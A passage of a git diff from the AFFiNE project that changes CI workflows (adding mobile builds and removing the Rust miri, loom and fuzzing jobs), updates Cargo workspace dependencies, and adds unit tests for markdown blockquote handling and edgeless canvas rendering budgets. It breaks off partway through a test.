+            -destination 'generic/platform=iOS Simulator' \
+            ARCHS=arm64 \
+            ONLY_ACTIVE_ARCH=YES \
+            CODE_SIGNING_ALLOWED=NO \
+            CODE_SIGNING_REQUIRED=NO \
+            build
+
   rust-test-filter:
     name: Rust test filter
     runs-on: ubuntu-latest
@@ -795,99 +948,6 @@ jobs:
           name: affine
           fail_ci_if_error: false
 
-  miri:
-    name: miri code check
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      RUST_BACKTRACE: full
-      CARGO_TERM_COLOR: always
-      MIRIFLAGS: -Zmiri-backtrace=full -Zmiri-tree-borrows
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: nightly
-          components: miri
-      - name: Install latest nextest release
-        uses: taiki-e/install-action@v2
-        with:
-          tool: nextest@0.9.98
-
-      - name: Miri Code Check
-        continue-on-error: true
-        run: |
-          cargo +nightly miri nextest run -p y-octo -j4
-
-  loom:
-    name: loom thread test
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      RUSTFLAGS: --cfg loom
-      RUST_BACKTRACE: full
-      CARGO_TERM_COLOR: always
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: stable
-      - name: Install latest nextest release
-        uses: taiki-e/install-action@v2
-        with:
-          tool: nextest@0.9.98
-
-      - name: Loom Thread Test
-        run: |
-          cargo nextest run -p y-octo --lib
-
-  fuzzing:
-    name: fuzzing
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      CARGO_TERM_COLOR: always
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: nightly
-
-      - name: fuzzing
-        working-directory: ./packages/common/y-octo/utils
-        run: |
-          cargo install cargo-fuzz
-          cargo +nightly fuzz run apply_update -- -max_total_time=30
-          cargo +nightly fuzz run codec_doc_any_struct -- -max_total_time=30
-          cargo +nightly fuzz run codec_doc_any -- -max_total_time=30
-          cargo +nightly fuzz run decode_bytes -- -max_total_time=30
-          cargo +nightly fuzz run i32_decode -- -max_total_time=30
-          cargo +nightly fuzz run i32_encode -- -max_total_time=30
-          cargo +nightly fuzz run ins_del_text -- -max_total_time=30
-          cargo +nightly fuzz run sync_message -- -max_total_time=30
-          cargo +nightly fuzz run u64_decode -- -max_total_time=30
-          cargo +nightly fuzz run u64_encode -- -max_total_time=30
-          cargo +nightly fuzz run apply_update -- -max_total_time=30
-
-      - name: upload fuzz artifacts
-        if: ${{ failure() }}
-        uses: actions/upload-artifact@v4
-        with:
-          name: fuzz-artifact
-          path: packages/common/y-octo/utils/fuzz/artifacts/**/*
-
   rust-test:
     name: Run native tests
     if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
@@ -1328,6 +1388,9 @@ jobs:
       - analyze
       - lint
       - typecheck
+      - mobile-native-build-filter
+      - build-android-app
+      - build-ios-app
       - lint-rust
       - check-git-status
       - check-yarn-binary
@@ -1342,9 +1405,6 @@ jobs:
       - build-server-native
       - build-electron-renderer
       - native-unit-test
-      - miri
-      - loom
-      - fuzzing
       - server-test
       - server-e2e-test
       - rust-test

.github/workflows/release-desktop-platform.yml

@@ -101,7 +101,7 @@ jobs:
 
       - name: Signing By Apple Developer ID
         if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
-        uses: apple-actions/import-codesign-certs@v6
+        uses: apple-actions/import-codesign-certs@v7
         with:
           p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
           p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}

.github/workflows/release-mobile.yml

@@ -114,7 +114,7 @@ jobs:
       - name: Cap sync
         run: yarn workspace @affine/ios sync
       - name: Signing By Apple Developer ID
-        uses: apple-actions/import-codesign-certs@v6
+        uses: apple-actions/import-codesign-certs@v7
         id: import-codesign-certs
         with:
           p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}

.github/workflows/release.yml

@@ -72,7 +72,7 @@ jobs:
     steps:
       - name: Decide whether to release
         id: decide
-        uses: actions/github-script@v8
+        uses: actions/github-script@v9
         with:
           script: |
             const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'

.gitignore

@@ -6,6 +6,7 @@
 !.yarn/releases
 !.yarn/sdks
 .yarn/versions
+.corepack-bin
 
 # compiled output
 *dist
@@ -49,6 +50,8 @@ testem.log
 tsconfig.tsbuildinfo
 .context
 /*.md
+.codex
+.cursor
 
 # System Files
 .DS_Store
@@ -93,3 +96,9 @@ af.cmd
 
 # playwright
 storageState.json
+/.understand-anything
+
+# local test/browser artifacts
+/.playwright-browsers/
+**/.vitest-attachments/
+/blocksuite/framework/std/src/__tests__/gfx/__screenshots__/

.oxlintrc.json

@@ -24,6 +24,7 @@
     ".git",
     ".vscode",
     ".context",
+    ".codex",
     ".yarnrc.yml",
     ".docker",
     "**/.storybook",

.prettierignore

@@ -5,6 +5,7 @@
 .git
 .vscode
 .context
+.codex
 .yarnrc.yml
 .docker
 **/.storybook

Cargo.toml

@@ -2,8 +2,6 @@
 members = [
   "./packages/backend/native",
   "./packages/common/native",
-  "./packages/common/y-octo/core",
-  "./packages/common/y-octo/utils",
   "./packages/frontend/mobile-native",
   "./packages/frontend/native",
   "./packages/frontend/native/nbstore",
@@ -16,14 +14,13 @@ resolver = "3"
   edition = "2024"
 
   [workspace.dependencies]
+  aes-gcm = "0.10"
   affine_common = { path = "./packages/common/native" }
   affine_nbstore = { path = "./packages/frontend/native/nbstore" }
   ahash = "0.8"
-  aes-gcm = "0.10"
   anyhow = "1"
   arbitrary = { version = "1.3", features = ["derive"] }
   assert-json-diff = "2.0"
-  async-lock = { version = "3.4.0", features = ["loom"] }
   base64-simd = "0.8"
   bitvec = "1.0"
   block2 = "0.6"
@@ -37,9 +34,10 @@ resolver = "3"
   criterion2 = { version = "3", default-features = false }
   crossbeam-channel = "0.5"
   dispatch2 = "0.3"
-  docx-parser = { git = "https://github.com/toeverything/docx-parser", rev = "380beea" }
+  doc_extractor = "0.1.0"
   dotenvy = "0.15"
   file-format = { version = "0.28", features = ["reader"] }
+  hex = "0.4"
   homedir = "0.3"
   image = { version = "0.25.9", default-features = false, features = [
     "bmp",
@@ -57,7 +55,6 @@ resolver = "3"
   llm_adapter = { version = "0.2", default-features = false }
   llm_runtime = { version = "0.2", default-features = false }
   log = "0.4"
-  loom = { version = "0.7", features = ["checkpoint"] }
   lru = "0.16"
   matroska = "0.30"
   memory-indexer = "0.3.1"
@@ -81,9 +78,8 @@ resolver = "3"
   ogg = "0.9"
   once_cell = "1"
   ordered-float = "5"
+  p256 = { version = "0.13", features = ["ecdsa", "pem"] }
   parking_lot = "0.12"
-  path-ext = "0.1.2"
-  pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
   phf = { version = "0.11", features = ["macros"] }
   proptest = "1.3"
   proptest-derive = "0.5"
@@ -92,15 +88,13 @@ resolver = "3"
   rand_chacha = "0.9"
   rand_distr = "0.5"
   rayon = "1.10"
-  readability = { version = "0.3.0", default-features = false }
   regex = "1.10"
   rubato = "0.16"
+  safefetch = "0.1.0"
   schemars = "0.8"
   screencapturekit = "0.3"
   serde = "1"
   serde_json = "1"
-  hex = "0.4"
-  p256 = { version = "0.13", features = ["ecdsa", "pem"] }
   sha2 = "0.10"
   sha3 = "0.10"
   smol_str = "0.3"
@@ -111,24 +105,10 @@ resolver = "3"
     "runtime-tokio",
     "sqlite",
   ] }
-  strum_macros = "0.27.0"
   symphonia = { version = "0.5", features = ["all", "opt-simd"] }
-  text-splitter = "0.27"
   thiserror = "2"
   tiktoken-rs = "0.7"
   tokio = "1.45"
-  tree-sitter = { version = "0.25" }
-  tree-sitter-c = { version = "0.24" }
-  tree-sitter-c-sharp = { version = "0.23" }
-  tree-sitter-cpp = { version = "0.23" }
-  tree-sitter-go = { version = "0.23" }
-  tree-sitter-java = { version = "0.23" }
-  tree-sitter-javascript = { version = "0.23" }
-  tree-sitter-kotlin-ng = { version = "1.1" }
-  tree-sitter-python = { version = "0.23" }
-  tree-sitter-rust = { version = "0.24" }
-  tree-sitter-scala = { version = "0.24" }
-  tree-sitter-typescript = { version = "0.23" }
   typst = "0.14.2"
   typst-as-lib = { version = "0.15.4", default-features = false, features = [
     "packages",
@@ -154,7 +134,7 @@ resolver = "3"
     "Win32_UI_Shell_PropertiesSystem",
   ] }
   windows-core = { version = "0.61" }
-  y-octo = { path = "./packages/common/y-octo/core" }
+  y-octo = "0.0.3"
   y-sync = { version = "0.4" }
   yrs = "0.23.0"
 

blocksuite/affine/all/package.json

@@ -299,6 +299,6 @@
   "devDependencies": {
     "@vanilla-extract/vite-plugin": "^5.0.0",
     "msw": "^2.13.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   }
 }

blocksuite/affine/all/src/__tests__/adapters/markdown.unit.spec.ts

@@ -270,6 +270,54 @@ Hello world
     expect(meta?.tags).toEqual(['a', 'b']);
   });
 
+  test('preserves list text inside blockquotes without list blocks', async () => {
+    const markdown = `> **Shopping List:**
+> - Apples
+> - Bananas
+> - Oranges
+`;
+    const mdAdapter = new MarkdownAdapter(createJob(), provider);
+    const snapshot = await mdAdapter.toDocSnapshot({
+      file: markdown,
+      assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
+    });
+
+    expect(simplifyBlockForSnapshot(snapshot.blocks, new Map())).toMatchObject({
+      children: [
+        {
+          flavour: 'affine:note',
+          children: [
+            {
+              flavour: 'affine:paragraph',
+              type: 'quote',
+              delta: [
+                { insert: 'Shopping List:' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Apples' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Bananas' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Oranges' },
+              ],
+            },
+          ],
+        },
+      ],
+    });
+
+    const exported = await mdAdapter.fromDocSnapshot({
+      snapshot,
+      assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
+    });
+    expect(exported.file).toContain('> **Shopping List:**');
+    expect(exported.file).toContain('> \\- Apples');
+    expect(exported.file).toContain('> \\- Bananas');
+    expect(exported.file).toContain('> \\- Oranges');
+  });
+
   test('imports obsidian vault fixtures', async () => {
     const schema = new Schema().register(AffineSchemas);
     const collection = new TestWorkspace();

blocksuite/affine/all/src/__tests__/gfx/canvas-budget.unit.spec.ts

@@ -0,0 +1,770 @@
+import { Bound } from '@blocksuite/global/gfx';
+import { Viewport, viewportRuntimeConfig } from '@blocksuite/std/gfx';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+import * as viewportModule from '../../../../../framework/std/src/gfx/viewport.js';
+import * as viewportElementModule from '../../../../../framework/std/src/gfx/viewport-element.js';
+import * as canvasRendererModule from '../../../../blocks/surface/src/renderer/canvas-renderer.js';
+import {
+  paintPlaceholder,
+  syncCanvasSize,
+} from '../../../../gfx/turbo-renderer/src/renderer-utils.js';
+import type { ViewportLayoutTree } from '../../../../gfx/turbo-renderer/src/types.js';
+
+const originalCaps = [...viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM];
+const originalDevicePixelRatio = Object.getOwnPropertyDescriptor(
+  window,
+  'devicePixelRatio'
+);
+
+function setDevicePixelRatio(value: number) {
+  Object.defineProperty(window, 'devicePixelRatio', {
+    configurable: true,
+    value,
+  });
+}
+
+function createRect(width: number, height: number): DOMRect {
+  return {
+    width,
+    height,
+    left: 0,
+    top: 0,
+    right: width,
+    bottom: height,
+    x: 0,
+    y: 0,
+    toJSON: () => ({}),
+  } as DOMRect;
+}
+
+function createFakeBlockModel(
+  id: string,
+  x: number,
+  y: number,
+  w = 10,
+  h = 10
+) {
+  return {
+    id,
+    elementBound: new Bound(x, y, w, h),
+  };
+}
+
+type PaintPlaceholderForTest = (
+  canvas: HTMLCanvasElement,
+  layout: ViewportLayoutTree,
+  viewport: {
+    zoom: number;
+    toViewCoord: (x: number, y: number) => [number, number];
+  }
+) => void;
+
+afterEach(() => {
+  viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [...originalCaps];
+
+  if (originalDevicePixelRatio) {
+    Object.defineProperty(window, 'devicePixelRatio', originalDevicePixelRatio);
+  }
+
+  vi.restoreAllMocks();
+});
+
+describe('edgeless canvas budget', () => {
+  test('requests canvas budget sync when zoom crosses an effective dpr bucket', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+
+    expect(
+      'shouldSyncCanvasBudgetOnViewportUpdate' in canvasRendererModule
+    ).toBe(true);
+
+    const shouldSyncCanvasBudgetOnViewportUpdate = (
+      canvasRendererModule as {
+        shouldSyncCanvasBudgetOnViewportUpdate: (
+          previousZoom: number,
+          nextZoom: number,
+          rawDpr?: number
+        ) => boolean;
+      }
+    ).shouldSyncCanvasBudgetOnViewportUpdate;
+
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 2)).toBe(true);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.75, 2)).toBe(false);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.45, 0.4, 2)).toBe(false);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 1)).toBe(false);
+  });
+
+  test('enables low-zoom survival mode only for active iOS gestures', () => {
+    expect('shouldUseLowZoomSurvivalMode' in canvasRendererModule).toBe(true);
+
+    const shouldUseLowZoomSurvivalMode = (
+      canvasRendererModule as {
+        shouldUseLowZoomSurvivalMode: (
+          isIOS: boolean,
+          zoom: number,
+          gestureActive: boolean
+        ) => boolean;
+      }
+    ).shouldUseLowZoomSurvivalMode;
+
+    expect(shouldUseLowZoomSurvivalMode(true, 0.4, true)).toBe(true);
+    expect(shouldUseLowZoomSurvivalMode(true, 0.6, true)).toBe(false);
+    expect(shouldUseLowZoomSurvivalMode(true, 0.4, false)).toBe(false);
+    expect(shouldUseLowZoomSurvivalMode(false, 0.4, true)).toBe(false);
+  });
+
+  test('does not enable canvas placeholders for low-zoom panning without zooming', () => {
+    expect('shouldRenderCanvasPlaceholders' in canvasRendererModule).toBe(true);
+
+    const shouldRenderCanvasPlaceholders = (
+      canvasRendererModule as {
+        shouldRenderCanvasPlaceholders: (params: {
+          isIOS: boolean;
+          zoom: number;
+          isPanning: boolean;
+          isZooming: boolean;
+          skipRefreshDuringGesture: boolean;
+          turboEnabled: boolean;
+        }) => boolean;
+      }
+    ).shouldRenderCanvasPlaceholders;
+
+    expect(
+      shouldRenderCanvasPlaceholders({
+        isIOS: true,
+        zoom: 0.4,
+        isPanning: true,
+        isZooming: false,
+        skipRefreshDuringGesture: true,
+        turboEnabled: true,
+      })
+    ).toBe(false);
+
+    expect(
+      shouldRenderCanvasPlaceholders({
+        isIOS: true,
+        zoom: 0.4,
+        isPanning: false,
+        isZooming: true,
+        skipRefreshDuringGesture: true,
+        turboEnabled: true,
+      })
+    ).toBe(true);
+  });
+
+  test('shares one bypass decision for placeholder and render paths only during the low-zoom iOS landscape gesture or recovery window', () => {
+    expect('getStackingCanvasBypassState' in canvasRendererModule).toBe(true);
+    expect(
+      'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
+    ).toBe(true);
+
+    const getStackingCanvasBypassState = (
+      canvasRendererModule as {
+        getStackingCanvasBypassState: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).getStackingCanvasBypassState;
+    const shouldBypassStackingCanvasesDuringLowZoomGesture = (
+      canvasRendererModule as {
+        shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).shouldBypassStackingCanvasesDuringLowZoomGesture;
+
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(true);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: true,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(true);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      shouldBypassStackingCanvasesDuringLowZoomGesture({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 430,
+        viewportHeight: 932,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.6,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: false,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+  });
+
+  test('gesture low-zoom landscape bypass detaches stacking canvases through the existing attachment path', () => {
+    expect(
+      'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
+    ).toBe(true);
+    expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
+      true
+    );
+
+    const shouldBypassStackingCanvasesDuringLowZoomGesture = (
+      canvasRendererModule as {
+        shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).shouldBypassStackingCanvasesDuringLowZoomGesture;
+    const getStackingCanvasAttachmentDiff = (
+      canvasRendererModule as {
+        getStackingCanvasAttachmentDiff: (params: {
+          canvases: HTMLCanvasElement[];
+          wasAttached: boolean;
+          shouldAttach: boolean;
+        }) => {
+          added: HTMLCanvasElement[];
+          removed: HTMLCanvasElement[];
+        };
+      }
+    ).getStackingCanvasAttachmentDiff;
+
+    const canvases = [document.createElement('canvas')];
+    const shouldBypass = shouldBypassStackingCanvasesDuringLowZoomGesture({
+      isIOS: true,
+      zoom: 0.4,
+      gestureActive: true,
+      recoveryActive: false,
+      viewportWidth: 932,
+      viewportHeight: 430,
+    });
+
+    expect(shouldBypass).toBe(true);
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: !shouldBypass,
+      })
+    ).toEqual({
+      added: [],
+      removed: canvases,
+    });
+  });
+
+  test('uses overscan for main-canvas fallback culling and render origin', () => {
+    expect('getMainCanvasFallbackBounds' in canvasRendererModule).toBe(true);
+
+    const getMainCanvasFallbackBounds = (
+      canvasRendererModule as {
+        getMainCanvasFallbackBounds: (params: {
+          viewportBounds: Bound;
+          overscanViewportBounds: Bound;
+        }) => {
+          cullBound: Bound;
+          renderBound: Bound;
+        };
+      }
+    ).getMainCanvasFallbackBounds;
+
+    const viewportBounds = new Bound(100, 200, 300, 150);
+    const overscanViewportBounds = new Bound(40, 170, 420, 210);
+
+    expect(
+      getMainCanvasFallbackBounds({
+        viewportBounds,
+        overscanViewportBounds,
+      })
+    ).toEqual({
+      cullBound: overscanViewportBounds,
+      renderBound: overscanViewportBounds,
+    });
+  });
+
+  test('lays out overscan canvases relative to the exact viewport', () => {
+    expect('getCanvasViewportLayout' in canvasRendererModule).toBe(true);
+
+    const getCanvasViewportLayout = (
+      canvasRendererModule as {
+        getCanvasViewportLayout: (params: {
+          bound: Bound;
+          viewportBounds: Bound;
+          zoom: number;
+          viewScale: number;
+          dpr: number;
+        }) => {
+          actualHeight: number;
+          actualWidth: number;
+          height: number;
+          transform: string;
+          width: number;
+        };
+      }
+    ).getCanvasViewportLayout;
+
+    expect(
+      getCanvasViewportLayout({
+        bound: new Bound(40, 170, 420, 210),
+        viewportBounds: new Bound(100, 200, 300, 150),
+        zoom: 1,
+        viewScale: 1,
+        dpr: 2,
+      })
+    ).toEqual({
+      actualHeight: 420,
+      actualWidth: 840,
+      height: 210,
+      transform: 'translate(-60px, -30px) scale(1)',
+      width: 420,
+    });
+  });
+
+  test('computes stacking canvas DOM attachment diffs when bypass toggles', () => {
+    expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
+      true
+    );
+
+    const getStackingCanvasAttachmentDiff = (
+      canvasRendererModule as {
+        getStackingCanvasAttachmentDiff: (params: {
+          canvases: HTMLCanvasElement[];
+          wasAttached: boolean;
+          shouldAttach: boolean;
+        }) => {
+          added: HTMLCanvasElement[];
+          removed: HTMLCanvasElement[];
+        };
+      }
+    ).getStackingCanvasAttachmentDiff;
+
+    const canvasA = document.createElement('canvas');
+    const canvasB = document.createElement('canvas');
+    const canvases = [canvasA, canvasB];
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: false,
+      })
+    ).toEqual({
+      added: [],
+      removed: canvases,
+    });
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: false,
+        shouldAttach: true,
+      })
+    ).toEqual({
+      added: canvases,
+      removed: [],
+    });
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: true,
+      })
+    ).toEqual({
+      added: [],
+      removed: [],
+    });
+  });
+
+  test('emits a lightweight zoom signal during gesture-skipped zoom updates so canvas budgets can shrink', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const viewportUpdated = vi.fn();
+    const zoomUpdates: Array<{ previousZoom: number; zoom: number }> = [];
+    let lastCanvasBudgetZoom = viewport.zoom;
+    let budgetSyncCount = 0;
+
+    viewport.viewportUpdated.subscribe(viewportUpdated);
+
+    expect('zoomUpdated' in viewport).toBe(true);
+    const zoomUpdated = (
+      viewport as unknown as {
+        zoomUpdated: {
+          subscribe: (
+            callback: (update: { previousZoom: number; zoom: number }) => void
+          ) => void;
+        };
+      }
+    ).zoomUpdated;
+
+    zoomUpdated.subscribe(update => {
+      zoomUpdates.push(update);
+      if (
+        (
+          canvasRendererModule as {
+            shouldSyncCanvasBudgetOnViewportUpdate: (
+              previousZoom: number,
+              nextZoom: number,
+              rawDpr?: number
+            ) => boolean;
+          }
+        ).shouldSyncCanvasBudgetOnViewportUpdate(
+          lastCanvasBudgetZoom,
+          update.zoom,
+          2
+        )
+      ) {
+        budgetSyncCount += 1;
+      }
+      lastCanvasBudgetZoom = update.zoom;
+    });
+
+    viewport.panning$.next(true);
+    viewport.setZoom(0.4, { x: 0, y: 0 }, false, false, true);
+
+    expect(viewportUpdated).not.toHaveBeenCalled();
+    expect(zoomUpdates).toEqual([{ previousZoom: 1, zoom: 0.4 }]);
+    expect(budgetSyncCount).toBe(1);
+
+    viewport.dispose();
+  });
+
+  test('keeps programmatic setZoom on the normal viewport update path in skip mode', () => {
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const viewportUpdated = vi.fn();
+    const zoomUpdated = vi.fn();
+
+    viewport.viewportUpdated.subscribe(viewportUpdated);
+    viewport.zoomUpdated.subscribe(zoomUpdated);
+
+    viewport.setZoom(0.4, { x: 0, y: 0 });
+
+    expect(viewportUpdated).toHaveBeenCalledTimes(1);
+    expect(zoomUpdated).toHaveBeenCalledWith({ previousZoom: 1, zoom: 0.4 });
+    expect(viewport.panning$.value).toBe(false);
+    expect(viewport.zooming$.value).toBe(false);
+
+    viewport.dispose();
+  });
+
+  test('enables low-zoom block survival only while the gesture is still active', () => {
+    expect('shouldUseLowZoomBlockSurvivalMode' in viewportElementModule).toBe(
+      true
+    );
+
+    const shouldUseLowZoomBlockSurvivalMode = (
+      viewportElementModule as {
+        shouldUseLowZoomBlockSurvivalMode: (params: {
+          zoom: number;
+          skipRefreshDuringGesture: boolean;
+          gestureActive: boolean;
+        }) => boolean;
+      }
+    ).shouldUseLowZoomBlockSurvivalMode;
+
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: true,
+      })
+    ).toBe(true);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: false,
+      })
+    ).toBe(false);
+  });
+
+  test('keeps selected and one nearby viewport block active during low-zoom gesture survival', () => {
+    expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
+
+    const getLowZoomGestureActiveModels = (
+      viewportElementModule as {
+        getLowZoomGestureActiveModels: (params: {
+          selectedModels: Set<{ id: string; elementBound: Bound }>;
+          viewportModels: Set<{ id: string; elementBound: Bound }>;
+          viewportBounds: Bound;
+          nearbyActiveBlockLimit: number;
+          nearbyDistanceRatio: number;
+        }) => Set<{ id: string; elementBound: Bound }>;
+      }
+    ).getLowZoomGestureActiveModels;
+
+    const selected = createFakeBlockModel('selected', 10, 10);
+    const nearby = createFakeBlockModel('nearby', 28, 12);
+    const far = createFakeBlockModel('far', 78, 78);
+
+    const activeModels = getLowZoomGestureActiveModels({
+      selectedModels: new Set([selected]),
+      viewportModels: new Set([selected, nearby, far]),
+      viewportBounds: new Bound(0, 0, 100, 100),
+      nearbyActiveBlockLimit: 1,
+      nearbyDistanceRatio: 0.35,
+    });
+
+    expect([...activeModels].map(model => model.id).sort()).toEqual([
+      'nearby',
+      'selected',
+    ]);
+  });
+
+  test('falls back to the nearest viewport block when nothing is selected', () => {
+    expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
+
+    const getLowZoomGestureActiveModels = (
+      viewportElementModule as {
+        getLowZoomGestureActiveModels: (params: {
+          selectedModels: Set<{ id: string; elementBound: Bound }>;
+          viewportModels: Set<{ id: string; elementBound: Bound }>;
+          viewportBounds: Bound;
+          nearbyActiveBlockLimit: number;
+          nearbyDistanceRatio: number;
+        }) => Set<{ id: string; elementBound: Bound }>;
+      }
+    ).getLowZoomGestureActiveModels;
+
+    const nearest = createFakeBlockModel('nearest', 46, 46);
+    const farther = createFakeBlockModel('farther', 78, 78);
+
+    const activeModels = getLowZoomGestureActiveModels({
+      selectedModels: new Set(),
+      viewportModels: new Set([nearest, farther]),
+      viewportBounds: new Bound(0, 0, 100, 100),
+      nearbyActiveBlockLimit: 1,
+      nearbyDistanceRatio: 0.35,
+    });
+
+    expect([...activeModels].map(model => model.id)).toEqual(['nearest']);
+  });
+
+  test('starts post-gesture recovery immediately once gesture signals fully settle', () => {
+    expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
+
+    const getPostGestureRecoveryDelay = (
+      viewportModule as {
+        getPostGestureRecoveryDelay: (params: {
+          isPanning: boolean;
+          isZooming: boolean;
+          fallbackDelayMs: number;
+        }) => number;
+      }
+    ).getPostGestureRecoveryDelay;
+
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: false,
+        isZooming: false,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(0);
+  });
+
+  test('keeps fallback post-gesture delay while a gesture signal is still active', () => {
+    expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
+
+    const getPostGestureRecoveryDelay = (
+      viewportModule as {
+        getPostGestureRecoveryDelay: (params: {
+          isPanning: boolean;
+          isZooming: boolean;
+          fallbackDelayMs: number;
+        }) => number;
+      }
+    ).getPostGestureRecoveryDelay;
+
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: true,
+        isZooming: false,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(220);
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: false,
+        isZooming: true,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(220);
+  });
+
+  test('sizes turbo renderer canvas with effective dpr at low zoom', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+    setDevicePixelRatio(2);
+
+    const canvas = document.createElement('canvas');
+    const host = document.createElement('div');
+    vi.spyOn(host, 'getBoundingClientRect').mockReturnValue(
+      createRect(200, 100)
+    );
+
+    (
+      syncCanvasSize as unknown as (
+        canvas: HTMLCanvasElement,
+        host: HTMLElement,
+        zoom: number
+      ) => void
+    )(canvas, host, 0.4);
+
+    expect(canvas.width).toBe(200);
+    expect(canvas.height).toBe(100);
+
+    (
+      syncCanvasSize as unknown as (
+        canvas: HTMLCanvasElement,
+        host: HTMLElement,
+        zoom: number
+      ) => void
+    )(canvas, host, 0.95);
+
+    expect(canvas.width).toBe(400);
+    expect(canvas.height).toBe(200);
+  });
+
+  test('paints turbo placeholders with effective dpr at low zoom', () => {
+    const previousTheme = document.documentElement.dataset.theme;
+    document.documentElement.dataset.theme = 'light';
+
+    try {
